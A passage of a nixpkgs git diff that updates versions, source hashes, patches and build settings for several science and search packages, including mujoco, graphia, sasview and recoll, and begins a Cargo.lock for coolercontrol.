"sha256-ORrIZlLqZsxMpqtw5Z7GMI9dDod50hj94ro6urjBD/A="; + hash = "sha256-ewyg+ZhbRbPjJkYTZFuhbOWMDNZGW7ejmSv38zxcTsw="; }; buildInputs = [ diff --git a/pkgs/applications/science/misc/graphia/default.nix b/pkgs/applications/science/misc/graphia/default.nix index b06cfaae66b5f..b24d5375ef9b8 100644 --- a/pkgs/applications/science/misc/graphia/default.nix +++ b/pkgs/applications/science/misc/graphia/default.nix @@ -1,47 +1,47 @@ { stdenv , lib , cmake +, git , fetchFromGitHub , fetchpatch , wrapQtAppsHook , qtbase -, qtquickcontrols2 -, qtgraphicaleffects +, qtdeclarative +, qtsvg +, qtwebengine }: stdenv.mkDerivation rec { pname = "graphia"; - version = "3.2"; + version = "4.2"; src = fetchFromGitHub { owner = "graphia-app"; repo = "graphia"; rev = version; - sha256 = "sha256-9kohXLXF4F/qoHm8qmvPM1y9ak0Thb4xvgKJlVuOPTg="; + sha256 = "sha256-8+tlQbTr6BGx+/gjviuNrQQWcxC/j6dJ+PxwB4fYmqQ="; }; patches = [ - # Fix for a breakpad incompatibility with glibc>2.33 - # https://github.com/pytorch/pytorch/issues/70297 - # https://github.com/google/breakpad/commit/605c51ed96ad44b34c457bbca320e74e194c317e - ./breakpad-sigstksz.patch - - # FIXME: backport patch fixing build with Qt 5.15, remove for next release + # Fix gcc-13 build: (fetchpatch { - url = "https://github.com/graphia-app/graphia/commit/4b51bb8d465afa7ed0b2b30cb1c5e1c6af95976f.patch"; - hash = "sha256-GDJAFLxQlRWKvcOgqqPYV/aVTRM7+KDjW7Zp9l7SuyM="; + name = "gcc-13.patch"; + url = "https://github.com/graphia-app/graphia/commit/78fb55a4d73f96e9a182de433c7da60330bd5b5e.patch"; + hash = "sha256-waI2ur3gOKMQvqB2Qnyz7oMOMConl3jLMVKKmOmTpJs="; }) ]; nativeBuildInputs = [ cmake + git # needs to define some hash as a version wrapQtAppsHook ]; buildInputs = [ qtbase - qtquickcontrols2 - qtgraphicaleffects + qtdeclarative + qtsvg + qtwebengine ]; meta = with lib; { @@ -50,6 +50,7 @@ stdenv.mkDerivation rec { description = "A visualisation tool for the creation and analysis of graphs."; homepage = "https://graphia.app"; license = licenses.gpl3Only; + mainProgram = "Graphia"; maintainers = [ maintainers.bgamari ]; platforms = platforms.all; }; diff --git a/pkgs/applications/science/misc/root/default.nix b/pkgs/applications/science/misc/root/default.nix index 7c9d6f5cb0a66..9548db1c7c479 100644 --- a/pkgs/applications/science/misc/root/default.nix +++ b/pkgs/applications/science/misc/root/default.nix @@ -214,13 +214,10 @@ stdenv.mkDerivation rec { # suppress warnings from compilation of the vendored clang to avoid running into log limits on the Hydra NIX_CFLAGS_COMPILE = lib.optionals stdenv.cc.isGNU [ "-Wno-shadow" "-Wno-maybe-uninitialized" ]; - # Workaround the xrootd runpath bug #169677 by prefixing [DY]LD_LIBRARY_PATH with ${lib.makeLibraryPath xrootd}. - # TODO: Remove the [DY]LDLIBRARY_PATH prefix for xrootd when #200830 get merged. postInstall = '' for prog in rootbrowse rootcp rooteventselector rootls rootmkdir rootmv rootprint rootrm rootslimtree; do wrapProgram "$out/bin/$prog" \ - --set PYTHONPATH "$out/lib" \ - --set ${lib.optionalString stdenv.isDarwin "DY"}LD_LIBRARY_PATH "$out/lib:${lib.makeLibraryPath [ xrootd ]}" + --set PYTHONPATH "$out/lib" done # Make ldd and sed available to the ROOT executable by prefixing PATH. @@ -229,8 +226,7 @@ stdenv.mkDerivation rec { gnused # sed stdenv.cc # c++ ld etc. stdenv.cc.libc # ldd - ]}" \ - --prefix ${lib.optionalString stdenv.hostPlatform.isDarwin "DY"}LD_LIBRARY_PATH : "${lib.makeLibraryPath [ xrootd ]}" + ]}" # Patch thisroot.{sh,csh,fish} diff --git a/pkgs/applications/science/misc/sasview/default.nix b/pkgs/applications/science/misc/sasview/default.nix index ddc0cdfa4e5b8..e896b19ede837 100644 --- a/pkgs/applications/science/misc/sasview/default.nix +++ b/pkgs/applications/science/misc/sasview/default.nix @@ -1,30 +1,21 @@ { lib , python3 , fetchFromGitHub -, fetchpatch , wrapQtAppsHook }: python3.pkgs.buildPythonApplication rec { pname = "sasview"; - version = "5.0.4"; + version = "5.0.6"; + pyproject = true; src = fetchFromGitHub { owner = "SasView"; repo = "sasview"; - rev = "v${version}"; - hash = "sha256-TjcchqA6GCvkr59ZgDuGglan2RxLp+aMjJk28XhvoiY="; + rev = "refs/tags/v${version}"; + hash = "sha256-cwP9VuvO4GPlbAxCqw31xISTi9NoF5RoBQmjWusrnzc="; }; - patches = [ - # Fix `asscalar` numpy API removal. - # See https://github.com/SasView/sasview/pull/2178 - (fetchpatch { - url = "https://github.com/SasView/sasview/commit/b1ab08c2a4e8fdade7f3e4cfecf3dfec38b8f3c5.patch"; - hash = "sha256-IH8g4XPziVAnkmBdzLH1ii8vN6kyCmOgrQlH2HEbm5o="; - }) - ]; - # AttributeError: module 'numpy' has no attribute 'float'. postPatch = '' substituteInPlace src/sas/sascalc/pr/p_invertor.py \ @@ -33,6 +24,7 @@ python3.pkgs.buildPythonApplication rec { nativeBuildInputs = [ python3.pkgs.pyqt5 + python3.pkgs.setuptools wrapQtAppsHook ]; @@ -66,12 +58,21 @@ python3.pkgs.buildPythonApplication rec { unittest-xml-reporting ]; - pytestFlagsArray = [ "test" ]; + pytestFlagsArray = [ + "test" + ]; + + disabledTests = [ + # NoKnownLoaderException + "test_invalid_cansas" + "test_data_reader_exception" + ]; meta = with lib; { - homepage = "https://www.sasview.org"; description = "Fitting and data analysis for small angle scattering data"; - maintainers = with maintainers; [ rprospero ]; + homepage = "https://www.sasview.org"; + changelog = "https://github.com/SasView/sasview/releases/tag/v${version}"; license = licenses.bsd3; + maintainers = with maintainers; [ rprospero ]; }; } diff --git a/pkgs/applications/science/misc/snakemake/default.nix b/pkgs/applications/science/misc/snakemake/default.nix index ba9cfb41f09cc..5081b471fc95b 100644 --- a/pkgs/applications/science/misc/snakemake/default.nix +++ b/pkgs/applications/science/misc/snakemake/default.nix @@ -6,14 +6,14 @@ python3.pkgs.buildPythonApplication rec { pname = "snakemake"; - version = "8.4.4"; + version = "8.4.12"; format = "setuptools"; src = fetchFromGitHub { owner = "snakemake"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-d3pUVhn9oi1ILDR4sfRh6HypbDn2JZMha27h0twixPc="; + hash = "sha256-ehQIrTw1+klFW+Hu4WsWaCJ0YoN2hIqryqqaoNQb1us="; # https://github.com/python-versioneer/python-versioneer/issues/217 postFetch = '' sed -i "$out"/snakemake/_version.py -e 's#git_refnames = ".*"#git_refnames = " (tag: v${version})"#' diff --git a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix index b3a95034ca54f..6ab9ec5d9cc37 100644 --- a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix +++ b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix @@ -19,6 +19,10 @@ , cpuAcceleration ? null }: + +# CUDA is only implemented for single precission +assert enableCuda -> singlePrec; + let inherit (cudaPackages.cudaFlags) cudaCapabilities dropDot; @@ -41,8 +45,8 @@ let } else { - version = "2024"; - hash = "sha256-BNIm1SBmqLw6QuANYhPec3tOwpLiZwMGWST/AZVoAeI="; + version = "2024.1"; + hash = "sha256-k32PEqNv/78q963XGtu1qlxVN4ktRsmnavvsqxqgqsc="; }; in stdenv.mkDerivation rec { @@ -75,6 +79,7 @@ in stdenv.mkDerivation rec { lapack ] ++ lib.optional enableMpi mpi ++ lib.optionals enableCuda [ + cudaPackages.cuda_cccl cudaPackages.cuda_cudart cudaPackages.libcufft cudaPackages.cuda_profiler_api diff --git a/pkgs/applications/science/molecular-dynamics/lammps/default.nix b/pkgs/applications/science/molecular-dynamics/lammps/default.nix index a6dc8592ae3cc..db27bb188cf5e 100644 --- a/pkgs/applications/science/molecular-dynamics/lammps/default.nix +++ b/pkgs/applications/science/molecular-dynamics/lammps/default.nix @@ -46,14 +46,14 @@ stdenv.mkDerivation (finalAttrs: { # LAMMPS has weird versioning convention. Updates should go smoothly with: # nix-update --commit lammps --version-regex 'stable_(.*)' - version = "2Aug2023_update2"; + version = "2Aug2023_update3"; pname = "lammps"; src = fetchFromGitHub { owner = "lammps"; repo = "lammps"; rev = "stable_${finalAttrs.version}"; - hash = "sha256-E918Jv6RAfXmHxyHZos2F7S8HFWzU6KjxDwXYNAYFMY="; + hash = "sha256-jx0hkiYxQlnE2sa4WTvluEgphF//sNbK91VGAQJMwjw="; }; preConfigure = '' cd cmake diff --git a/pkgs/applications/science/physics/nnpdf/default.nix b/pkgs/applications/science/physics/nnpdf/default.nix index a53940d38d74d..26e8247f85e3d 100644 --- a/pkgs/applications/science/physics/nnpdf/default.nix +++ b/pkgs/applications/science/physics/nnpdf/default.nix @@ -15,13 +15,13 @@ stdenv.mkDerivation rec { pname = "nnpdf"; - version = "4.0.8"; + version = "4.0.9"; src = fetchFromGitHub { owner = "NNPDF"; repo = pname; rev = version; - hash = "sha256-hGCA2K/fD6UZa9WD42IDmZV1oxNgjFaXkjOZKGgGSBg="; + hash = "sha256-PyhkHlOlzKfDxUX91NkeZWjdEzFR4PW0Yh5Yz6ZA27g="; }; postPatch = '' diff --git a/pkgs/applications/science/physics/xfitter/default.nix b/pkgs/applications/science/physics/xfitter/default.nix index 1852ef3ff1c8e..77b57e08e2bbe 100644 --- a/pkgs/applications/science/physics/xfitter/default.nix +++ b/pkgs/applications/science/physics/xfitter/default.nix @@ -47,6 +47,8 @@ stdenv.mkDerivation rec { env.NIX_CFLAGS_COMPILE = lib.optionalString (stdenv.hostPlatform.libc == "glibc") "-I${libtirpc.dev}/include/tirpc"; NIX_LDFLAGS = lib.optional (stdenv.hostPlatform.libc == "glibc") "-ltirpc"; + hardeningDisable = [ "format" ]; + # workaround wrong library IDs postInstall = lib.optionalString stdenv.isDarwin '' ln -sv "$out/lib/xfitter/"* "$out/lib/" diff --git a/pkgs/applications/science/robotics/mavproxy/default.nix b/pkgs/applications/science/robotics/mavproxy/default.nix index 1252073fab187..f86ca5f635e48 100644 --- a/pkgs/applications/science/robotics/mavproxy/default.nix +++ b/pkgs/applications/science/robotics/mavproxy/default.nix @@ -4,11 +4,11 @@ buildPythonApplication rec { pname = "MAVProxy"; - version = "1.8.66"; + version = "1.8.70"; src = fetchPypi { inherit pname version; - hash = "sha256-tIwXiDHEmFHF5Jdv25hPkzEqAdig+i5h4fW6SGIrZDM="; + hash = "sha256-U5K+0lxJbBvwETnJ3MTMkk47CMOSlJBeFrCLHW9OSh8="; }; postPatch = '' diff --git a/pkgs/applications/science/robotics/mujoco/default.nix b/pkgs/applications/science/robotics/mujoco/default.nix index da2ceef9249e2..15d2e156a5899 100644 --- a/pkgs/applications/science/robotics/mujoco/default.nix +++ b/pkgs/applications/science/robotics/mujoco/default.nix @@ -16,8 +16,8 @@ let abseil-cpp = fetchFromGitHub { owner = "abseil"; repo = "abseil-cpp"; - rev = "fb3621f4f897824c0dbe0615fa94543df6192f30"; - hash = "sha256-uNGrTNg5G5xFGtc+BSWE389x0tQ/KxJQLHfebNWas/k="; + rev = "2f9e432cce407ce0ae50676696666f33a77d42ac"; + hash = "sha256-D4E11bICKr3Z5RRah7QkfXVsXtuUg32FMmKpiOGjZDM="; }; benchmark = fetchFromGitHub { owner = "google"; @@ -34,8 +34,8 @@ let eigen3 = fetchFromGitLab { owner = "libeigen"; repo = "eigen"; - rev = "454f89af9d6f3525b1df5f9ef9c86df58bf2d4d3"; - hash = "sha256-a9QAnv6vIM8a9Bn8ZmfeMT0+kbtb0QGxM0+m5xwIqm8="; + rev = "2a9055b50ed22101da7d77e999b90ed50956fe0b"; + hash = "sha256-tx/XR7xJ7IMh5RMvL8wRo/g+dfD3xcjZkLPSY4D9HaY="; }; googletest = fetchFromGitHub { owner = "google"; @@ -96,8 +96,8 @@ let src = fetchFromGitHub { owner = "UPC-ViRVIG"; repo = name; - rev = "7c49cfba9bbec763b5d0f7b90b26555f3dde8088"; - hash = "sha256-5bnQ3rHH9Pw1jRVpZpamFnhIJHWnGm6krgZgIBqNtVg="; + rev = "1927bee6bb8225258a39c8cbf14e18a4d50409ae"; + hash = "sha256-+SFUOdZ6pGZvnQa0mT+yfbTMHWe2CTOlroXcuVBHdOE="; }; patches = [ ./sdflib-system-deps.patch ]; @@ -129,7 +129,7 @@ let in stdenv.mkDerivation rec { pname = "mujoco"; - version = "3.1.2"; + version = "3.1.3"; # Bumping version? Make sure to look though the MuJoCo's commit # history for bumped dependency pins! @@ -137,7 +137,7 @@ in stdenv.mkDerivation rec { owner = "google-deepmind"; repo = "mujoco"; rev = "refs/tags/${version}"; - hash = "sha256-Zbz6qq2Sjhcrf8QAGFlYkSZ8mA/wQaP81gRzMj3xh+g="; + hash = "sha256-22yH3zAD479TRNS3XSqy6PuuLqyWmjvwScUTVfKumzY="; }; patches = [ ./mujoco-system-deps-dont-fetch.patch ]; diff --git a/pkgs/applications/science/robotics/mujoco/mujoco-system-deps-dont-fetch.patch b/pkgs/applications/science/robotics/mujoco/mujoco-system-deps-dont-fetch.patch index 15373eb0b60fa..c09787ff84c5e 100644 --- a/pkgs/applications/science/robotics/mujoco/mujoco-system-deps-dont-fetch.patch +++ b/pkgs/applications/science/robotics/mujoco/mujoco-system-deps-dont-fetch.patch @@ -1,8 +1,8 @@ diff --git a/CMakeLists.txt b/CMakeLists.txt -index 285250b..32d03e3 100644 +index eea180c0..efb39178 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt -@@ -92,7 +92,7 @@ add_subdirectory(src/render) +@@ -93,7 +93,7 @@ add_subdirectory(src/render) add_subdirectory(src/thread) add_subdirectory(src/ui) @@ -11,7 +11,7 @@ index 285250b..32d03e3 100644 if(MUJOCO_ENABLE_AVX_INTRINSICS) target_compile_definitions(mujoco PUBLIC mjUSEPLATFORMSIMD) endif() -@@ -117,7 +117,7 @@ target_link_libraries( +@@ -118,7 +118,7 @@ target_link_libraries( lodepng qhullstatic_r tinyobjloader @@ -21,30 +21,17 @@ index 285250b..32d03e3 100644 set_target_properties( diff --git a/cmake/MujocoDependencies.cmake b/cmake/MujocoDependencies.cmake -index 4e3e2c8..f6143d9 100644 +index 44962272..656beeb8 100644 --- a/cmake/MujocoDependencies.cmake +++ b/cmake/MujocoDependencies.cmake -@@ -90,153 +90,203 @@ set(BUILD_SHARED_LIBS - CACHE INTERNAL "Build SHARED libraries" - ) - -+ +@@ -93,28 +93,36 @@ set(BUILD_SHARED_LIBS if(NOT TARGET lodepng) -- FetchContent_Declare( -+ fetchcontent_declare( + FetchContent_Declare( lodepng - GIT_REPOSITORY https://github.com/lvandeve/lodepng.git - GIT_TAG ${MUJOCO_DEP_VERSION_lodepng} ) +endif() -+ -+if(NOT TARGET lodepng) -+ if(NOT MUJOCO_USE_SYSTEM_lodepng) -+ fetchcontent_declare( -+ lodepng -+ GIT_REPOSITORY https://github.com/lvandeve/lodepng.git -+ GIT_TAG ${MUJOCO_DEP_VERSION_lodepng} -+ ) - FetchContent_GetProperties(lodepng) - if(NOT lodepng_POPULATED) @@ -56,9 +43,17 @@ index 4e3e2c8..f6143d9 100644 - target_compile_options(lodepng PRIVATE ${MUJOCO_MACOS_COMPILE_OPTIONS}) - target_link_options(lodepng PRIVATE ${MUJOCO_MACOS_LINK_OPTIONS}) - target_include_directories(lodepng PUBLIC ${lodepng_SOURCE_DIR}) -+ fetchcontent_getproperties(lodepng) ++if(NOT TARGET lodepng) ++ if(NOT MUJOCO_USE_SYSTEM_lodepng) ++ fetchcontent_declare( ++ lodepng ++ GIT_REPOSITORY https://github.com/lvandeve/lodepng.git ++ GIT_TAG ${MUJOCO_DEP_VERSION_lodepng} ++ ) ++ ++ FetchContent_GetProperties(lodepng) + if(NOT lodepng_POPULATED) -+ fetchcontent_populate(lodepng) ++ FetchContent_Populate(lodepng) + # This is not a CMake project. + set(LODEPNG_SRCS ${lodepng_SOURCE_DIR}/lodepng.cpp) + set(LODEPNG_HEADERS ${lodepng_SOURCE_DIR}/lodepng.h) @@ -73,19 +68,14 @@ index 4e3e2c8..f6143d9 100644 endif() if(NOT TARGET marchingcubecpp) -- FetchContent_Declare( -+ fetchcontent_declare( + FetchContent_Declare( marchingcubecpp - GIT_REPOSITORY https://github.com/aparis69/MarchingCubeCpp.git - GIT_TAG ${MUJOCO_DEP_VERSION_MarchingCubeCpp} ) -- FetchContent_GetProperties(marchingcubecpp) -+ fetchcontent_getproperties(marchingcubecpp) - if(NOT marchingcubecpp_POPULATED) -- FetchContent_Populate(marchingcubecpp) -+ fetchcontent_populate(marchingcubecpp) - include_directories(${marchingcubecpp_SOURCE_DIR}) + FetchContent_GetProperties(marchingcubecpp) +@@ -124,119 +132,158 @@ if(NOT TARGET marchingcubecpp) endif() endif() @@ -118,7 +108,6 @@ index 4e3e2c8..f6143d9 100644 -) -target_compile_options(qhullstatic_r PRIVATE ${MUJOCO_MACOS_COMPILE_OPTIONS}) -target_link_options(qhullstatic_r PRIVATE ${MUJOCO_MACOS_LINK_OPTIONS}) -+ +if(NOT MUJOCO_USE_SYSTEM_qhull) + # MuJoCo includes a file from libqhull_r which is not exported by the qhull include directories. + # Add it to the target. @@ -165,7 +154,6 @@ index 4e3e2c8..f6143d9 100644 ) -target_compile_options(tinyxml2 PRIVATE ${MUJOCO_MACOS_COMPILE_OPTIONS}) -target_link_options(tinyxml2 PRIVATE ${MUJOCO_MACOS_LINK_OPTIONS}) -+ +if(NOT MUJOCO_USE_SYSTEM_tinyxml2) + target_compile_options(tinyxml2 PRIVATE ${MUJOCO_MACOS_COMPILE_OPTIONS}) + target_link_options(tinyxml2 PRIVATE ${MUJOCO_MACOS_LINK_OPTIONS}) @@ -297,7 +285,7 @@ index 4e3e2c8..f6143d9 100644 set(ABSL_PROPAGATE_CXX_STD ON) # This specific version of Abseil does not have the following variable. We need to work with BUILD_TESTING -@@ -249,15 +299,11 @@ if(MUJOCO_BUILD_TESTS) +@@ -249,15 +296,11 @@ if(MUJOCO_BUILD_TESTS) set(ABSL_BUILD_TESTING OFF) findorfetch( USE_SYSTEM_PACKAGE @@ -314,7 +302,7 @@ index 4e3e2c8..f6143d9 100644 TARGETS absl::core_headers EXCLUDE_FROM_ALL -@@ -268,6 +314,9 @@ if(MUJOCO_BUILD_TESTS) +@@ -268,6 +311,9 @@ if(MUJOCO_BUILD_TESTS) CACHE BOOL "Build tests." FORCE ) @@ -324,7 +312,7 @@ index 4e3e2c8..f6143d9 100644 # Avoid linking errors on Windows by dynamically linking to the C runtime. set(gtest_force_shared_crt ON -@@ -276,22 +325,20 @@ if(MUJOCO_BUILD_TESTS) +@@ -276,22 +322,20 @@ if(MUJOCO_BUILD_TESTS) findorfetch( USE_SYSTEM_PACKAGE @@ -353,7 +341,7 @@ index 4e3e2c8..f6143d9 100644 set(BENCHMARK_EXTRA_FETCH_ARGS "") if(WIN32 AND NOT MSVC) set(BENCHMARK_EXTRA_FETCH_ARGS -@@ -310,15 +357,11 @@ if(MUJOCO_BUILD_TESTS) +@@ -310,15 +354,11 @@ if(MUJOCO_BUILD_TESTS) findorfetch( USE_SYSTEM_PACKAGE @@ -370,7 +358,7 @@ index 4e3e2c8..f6143d9 100644 TARGETS benchmark::benchmark benchmark::benchmark_main -@@ -328,26 +371,42 @@ if(MUJOCO_BUILD_TESTS) +@@ -328,15 +368,18 @@ if(MUJOCO_BUILD_TESTS) endif() if(MUJOCO_TEST_PYTHON_UTIL) @@ -387,21 +375,14 @@ index 4e3e2c8..f6143d9 100644 + set(CMAKE_POLICY_DEFAULT_CMP0057 NEW) + endif() -- FetchContent_Declare( -+ fetchcontent_declare( + FetchContent_Declare( Eigen3 - GIT_REPOSITORY https://gitlab.com/libeigen/eigen.git - GIT_TAG ${MUJOCO_DEP_VERSION_Eigen3} ) -- FetchContent_GetProperties(Eigen3) -+ fetchcontent_getproperties(Eigen3) - if(NOT Eigen3_POPULATED) -- FetchContent_Populate(Eigen3) -+ fetchcontent_populate(Eigen3) - - # Mark the library as IMPORTED as a workaround for https://gitlab.kitware.com/cmake/cmake/-/issues/15415 - add_library(Eigen3::Eigen INTERFACE IMPORTED) + FetchContent_GetProperties(Eigen3) +@@ -348,6 +391,19 @@ if(MUJOCO_TEST_PYTHON_UTIL) set_target_properties( Eigen3::Eigen PROPERTIES INTERFACE_INCLUDE_DIRECTORIES "${eigen3_SOURCE_DIR}" ) @@ -422,7 +403,7 @@ index 4e3e2c8..f6143d9 100644 endif() endif() diff --git a/plugin/sdf/CMakeLists.txt b/plugin/sdf/CMakeLists.txt -index 3e216fc..e7e3a1e 100644 +index 3e216fc4..e7e3a1eb 100644 --- a/plugin/sdf/CMakeLists.txt +++ b/plugin/sdf/CMakeLists.txt @@ -37,7 +37,7 @@ set(MUJOCO_SDF_SRCS @@ -435,7 +416,7 @@ index 3e216fc..e7e3a1e 100644 sdf PRIVATE ${AVX_COMPILE_OPTIONS} diff --git a/python/mujoco/util/CMakeLists.txt b/python/mujoco/util/CMakeLists.txt -index 666a372..d89bb49 100644 +index 666a3725..d89bb499 100644 --- a/python/mujoco/util/CMakeLists.txt +++ b/python/mujoco/util/CMakeLists.txt @@ -63,8 +63,8 @@ if(BUILD_TESTING) @@ -483,7 +464,7 @@ index 666a372..d89bb49 100644 gtest_add_tests(TARGET tuple_tools_test SOURCES tuple_tools_test.cc) endif() diff --git a/simulate/cmake/SimulateDependencies.cmake b/simulate/cmake/SimulateDependencies.cmake -index 5141406..75ff788 100644 +index 5141406c..75ff7884 100644 --- a/simulate/cmake/SimulateDependencies.cmake +++ b/simulate/cmake/SimulateDependencies.cmake @@ -81,10 +81,6 @@ findorfetch( @@ -498,7 +479,7 @@ index 5141406..75ff788 100644 glfw EXCLUDE_FROM_ALL diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt -index 6bec911..2a16c21 100644 +index 122760a9..ddd90819 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -30,7 +30,7 @@ macro(mujoco_test name) @@ -510,10 +491,10 @@ index 6bec911..2a16c21 100644 target_include_directories(${name} PRIVATE ${MUJOCO_TEST_INCLUDE}) set_target_properties(${name} PROPERTIES BUILD_RPATH ${CMAKE_LIBRARY_OUTPUT_DIRECTORY}) # gtest_discover_tests is recommended over gtest_add_tests, but has some issues in Windows. -@@ -59,20 +59,20 @@ target_link_libraries( - PUBLIC absl::core_headers - absl::strings +@@ -60,20 +60,20 @@ target_link_libraries( absl::synchronization + absl::flat_hash_map + absl::flat_hash_set - gtest - gmock + GTest::gtest @@ -528,11 +509,11 @@ index 6bec911..2a16c21 100644 mujoco_test(header_test) -target_link_libraries(header_test fixture gmock) -+target_link_libraries(header_test fixture GTest::gmock) ++target_link_libraries(fixture_test fixture GTest::gmock) mujoco_test(pipeline_test) -target_link_libraries(pipeline_test fixture gmock) -+target_link_libraries(pipeline_test fixture GTest::gmock) ++target_link_libraries(fixture_test fixture GTest::gmock) add_subdirectory(benchmark) add_subdirectory(engine) diff --git a/pkgs/applications/search/doodle/default.nix b/pkgs/applications/search/doodle/default.nix index 2016d6afff747..fbe5ee56b3193 100644 --- a/pkgs/applications/search/doodle/default.nix +++ b/pkgs/applications/search/doodle/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; maintainers = with lib.maintainers; [ viric ]; platforms = with lib.platforms; linux; + mainProgram = "doodle"; }; } diff --git a/pkgs/applications/search/grepcidr/default.nix b/pkgs/applications/search/grepcidr/default.nix index bdc660db45fc5..231718c810eef 100644 --- a/pkgs/applications/search/grepcidr/default.nix +++ b/pkgs/applications/search/grepcidr/default.nix @@ -17,5 +17,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; platforms = platforms.unix; maintainers = [ maintainers.fadenb ]; + mainProgram = "grepcidr"; }; } diff --git a/pkgs/applications/search/grepm/default.nix b/pkgs/applications/search/grepm/default.nix index 14ac6ed69ce8b..c3adbb2ab8b05 100644 --- a/pkgs/applications/search/grepm/default.nix +++ b/pkgs/applications/search/grepm/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation { license = licenses.free; platforms = platforms.unix; maintainers = [ maintainers.romildo ]; + mainProgram = "grepm"; }; } diff --git a/pkgs/applications/search/re-isearch/default.nix b/pkgs/applications/search/re-isearch/default.nix index 85f2186efade4..45dbedcd466d3 100644 --- a/pkgs/applications/search/re-isearch/default.nix +++ b/pkgs/applications/search/re-isearch/default.nix @@ -11,6 +11,11 @@ stdenv.mkDerivation rec { sha256 = "sha256-D0PDqlWzIOHqdS2MlNzR2T5cyhiLcFlf30v6eFokoRQ="; }; + postPatch = '' + # Fix gcc-13 build due to missing <cstdint> include. + sed -e '1i #include <cstdint>' -i src/mmap.cxx + ''; + buildinputs = [ db file # libmagic @@ -25,7 +30,7 @@ stdenv.mkDerivation rec { preBuild = '' cd build makeFlagsArray+=( - EXTRA_INC="-I${db.dev}/include -I${file}/include" + EXTRA_INC="-I${db.dev}/include -I${lib.getDev file}/include" LD_PATH="-L../lib -L${db.out}/lib -L${file}/lib -L${libnsl}/lib" ) ''; diff --git a/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch b/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch new file mode 100644 index 0000000000000..1f3a71fb3c9ba --- /dev/null +++ b/pkgs/applications/search/recoll/0001-no-qtgui-darwin-bundle.patch @@ -0,0 +1,48 @@ +From 9a0102fe1da038ebe08107ead991964df11b0271 Mon Sep 17 00:00:00 2001 +From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com> +Date: Mon, 19 Feb 2024 03:31:20 +0000 +Subject: [PATCH] no qtgui darwin bundle + +--- + qtgui/recoll.pro.in | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +diff --git a/qtgui/recoll.pro.in b/qtgui/recoll.pro.in +index a0ef314..6dbc3b5 100644 +--- a/qtgui/recoll.pro.in ++++ b/qtgui/recoll.pro.in +@@ -180,7 +180,7 @@ windows { + } + } + +-macx: { ++if (false) { + QCBUILDLOC=Qt_6_4_2_for_macOS + + # QT += webkit webkitwidgets +@@ -375,7 +375,7 @@ macx: { + QMAKE_BUNDLE_DATA = APP_EXAMPLES APP_EXAMPLES_MAC APP_FILTERS APP_IMAGES APP_DOC + } + +-unix:!macx { ++unix { + + VPATH = @srcdir@ + +@@ -400,6 +400,13 @@ VPATH = @srcdir@ + SOURCES += crontool.cpp \ + rtitool.cpp + ++ macx { ++ SOURCES += ../utils/closefrom.cpp \ ++ ../utils/execmd.cpp \ ++ ../utils/netcon.cpp \ ++ ../utils/rclionice.cpp ++ } ++ + FORMS += crontool.ui \ + rtitool.ui + +-- +2.43.0 + diff --git a/pkgs/applications/search/recoll/default.nix b/pkgs/applications/search/recoll/default.nix index 67f22a33abceb..99d4b79d1cc06 100644 --- a/pkgs/applications/search/recoll/default.nix +++ b/pkgs/applications/search/recoll/default.nix @@ -70,11 +70,11 @@ in mkDerivation rec { pname = "recoll"; - version = "1.37.2"; + version = "1.37.4"; src = fetchurl { url = "https://www.lesbonscomptes.com/${pname}/${pname}-${version}.tar.gz"; - hash = "sha256-xLdk3pJSV1YaloSV3TuTdJhujXsxUGrDru+mu86YBTU="; + hash = "sha256-MQnXamW7L4hyMbZDmU7XAcLv5roHcfhFGzni8YbDtq0="; }; configureFlags = [ @@ -105,6 +105,8 @@ mkDerivation rec { patches = [ # fix "No/bad main configuration file" error ./fix-datadir.patch + # use the same configure based build for darwin as linux + ./0001-no-qtgui-darwin-bundle.patch ]; nativeBuildInputs = [ @@ -135,6 +137,10 @@ mkDerivation rec { libiconv ]; + qtWrapperArgs = [ + "--prefix PATH : ${filterPath}" + ]; + # the filters search through ${PATH} using a sh proc 'checkcmds' for the # filtering utils. Short circuit this by replacing the filtering command with # the absolute path to the filtering command. @@ -150,8 +156,6 @@ mkDerivation rec { substituteInPlace $f --replace /usr/bin/perl ${lib.getBin (perl.passthru.withPackages (p: [ p.ImageExifTool ]))}/bin/perl fi done - wrapProgram $out/bin/recoll --prefix PATH : "${filterPath}" - wrapProgram $out/bin/recollindex --prefix PATH : "${filterPath}" wrapProgram $out/share/recoll/filters/rclaudio.py \ --prefix PYTHONPATH : $PYTHONPATH wrapProgram $out/share/recoll/filters/rclimg \ @@ -163,6 +167,11 @@ mkDerivation rec { mv $out/bin/recoll.app $out/Applications ''; + # create symlink after fixup to prevent double wrapping of recoll + postFixup = lib.optionalString (stdenv.isDarwin && withGui) '' + ln -s ../Applications/recoll.app/Contents/MacOS/recoll $out/bin/recoll + ''; + enableParallelBuilding = true; meta = with lib; { diff --git a/pkgs/applications/system/coolercontrol/Cargo.lock b/pkgs/applications/system/coolercontrol/Cargo.lock new file mode 100644 index 0000000000000..2a81c7a8916e2 --- /dev/null +++ b/pkgs/applications/system/coolercontrol/Cargo.lock @@ -0,0 +1,4653 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" 